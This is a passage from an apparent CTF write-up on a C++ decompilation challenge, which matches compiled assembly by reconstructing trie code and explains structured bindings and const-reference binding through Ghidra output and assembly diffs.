    TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;TrieNode&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token comment&quot;&gt;// `const char*` literal is implicitly converted to std::string.&lt;/span&gt;
    node&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&#92;x72&#92;x50&#92;x54&#92;x52&#92;x73&#92;x66&#92;x51&#92;x5a&#92;x79&#92;x72&#92;x75&#92;x4b&#92;x7f&#92;x4e&#92;x4d&#92;x55&#92;x47&#92;x7e&#92;x68&#92;x7e&#92;x72&#92;x51&#92;x42&#92;x71&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// node-&amp;gt;insert(string(&quot;...&quot;)); also works&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// -- snip --&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// node-&amp;gt;insert(&quot;...&quot;);&lt;/span&gt;
    
    node&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;should_mix &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Enter [1] for insert string&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Enter [2] for search string&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Option: &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        cin &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; opt&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;opt &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Input string to insert: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            cin &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; str&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            node&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;str&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;opt &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Input string to search: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            cin &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; str&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;bool&lt;/span&gt; res &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; node&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;str&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;res&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;String &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; str &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot; exists.&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;
                cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;String &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; str &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot; does not exists.&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Bye&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;From here on, we&#39;ll continue making incremental adjustments to improve our score, while learning various C++ nuances and features.&lt;/p&gt;
&lt;h3 id=&quot;on-structured-bindings&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-structured-bindings&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On Structured Bindings&lt;/h3&gt;
&lt;p&gt;Here we take a detour to peek at build.sh. And something sparkly catches our eye:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;g++ &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$@&lt;/span&gt;&quot;&lt;/span&gt; -fno-asm &lt;span class=&quot;token parameter variable&quot;&gt;-std&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;c++17 &lt;span class=&quot;token parameter variable&quot;&gt;-g&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$binary&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$source&lt;/span&gt;&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Our code is compiled with C++17—what an oddly specific standard!&lt;/p&gt;
&lt;p&gt;One cool feature introduced by this standard is &lt;strong&gt;structured bindings&lt;/strong&gt;, which is as close as we can get to Python iterable unpacking.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// -----&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pair &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; ch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// +++++&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// +++++&lt;/span&gt;
    new_map&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Since &lt;code&gt;it&lt;/code&gt; is an iterator over key-value pairs, we can dereference, then bind (unpack) the pair to &lt;code&gt;ch&lt;/code&gt; and &lt;code&gt;node&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;One telltale sign of structured bindings is in the second loop of &lt;code&gt;TrieNode::mix()&lt;/code&gt;. Notice how the first item of the pair (&lt;code&gt;ch2 = std::get&amp;lt;0&amp;gt;(pair);&lt;/code&gt;) is read but never used.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;The first pair element (a character) is not used.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-1506w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-1506w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1506 / 465&quot; alt=&quot;The first pair element (a character) is not used.&quot; title=&quot;The first pair element (a character) is not used.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-1506w.webp 1506w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1506px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Ghidra decompilation of the second loop of &lt;code&gt;mix()&lt;/code&gt;. Notice how &lt;code&gt;ch2&lt;/code&gt; is never used. (You can also verify this by inspecting the disassembly!)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Another giveaway is that &lt;code&gt;std::get&lt;/code&gt; is rarely used to access map pairs, unless in generic code. The idiomatic ways are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;std::pair&lt;/code&gt; members (through iterator): &lt;code&gt;it-&amp;gt;first&lt;/code&gt;, &lt;code&gt;it-&amp;gt;second&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;std::pair&lt;/code&gt; members (through pair):&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; pr &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; map&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// pr.first, pr.second&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;structured bindings (since C++17)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;N.B. With optimisations, these indicators would be less obvious. Thankfully the program &lt;em&gt;wasn&#39;t&lt;/em&gt; compiled with optimisations.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;on-const-ref&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-const-ref&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On Const Ref&lt;/h3&gt;
&lt;p&gt;We&#39;re still short of our target though. Some diff lines stand out:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-diff=&quot;&quot; class=&quot;language-diff-asm&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-asm&quot;&gt;&lt;span class=&quot;token unchanged language-asm&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;; Extra stack variables!&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-asm&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;sub     rsp&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xc8&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;mov     &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;rbp&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xc8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rdi
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-asm&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;sub     rsp&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xb8&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;mov     &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;rbp&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xb8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rdi
&lt;/span&gt;&lt;span class=&quot;token unchanged language-asm&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;; Calling the wrong overload!&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-asm&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;call    _ZSt3getILm0EKcP8TrieNodeERNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERS7_
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-asm&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;call    _ZSt3getILm0EKcP8TrieNodeERKNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERKS7_&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Assembly&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Extracted diff lines from compiler.py output. Red (-) indicates extra lines in our program. Green (+) indicates missing lines.&lt;/sup&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Looks like we declared 16-bytes of extra stack variables.
&lt;ul&gt;
&lt;li&gt;Local variables are stored on the stack, which allocates memory by a simple &lt;code&gt;sub&lt;/code&gt; instruction.&lt;/li&gt;
&lt;li&gt;Larger subtraction = more stack memory allocated.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;It also looks like we called the wrong overload. The mangled names — simplified for readability — translate to:&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-diff-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-cpp&quot;&gt;&lt;span class=&quot;token deleted-sign deleted language-cpp&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;pair&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-cpp&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;pair&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We can fix both these issues by qualifying our binding as &lt;code&gt;const&amp;amp;&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-diff=&quot;&quot; class=&quot;language-diff-cpp language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-cpp language-cpp&quot;&gt;&lt;span class=&quot;token unchanged language-cpp&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token 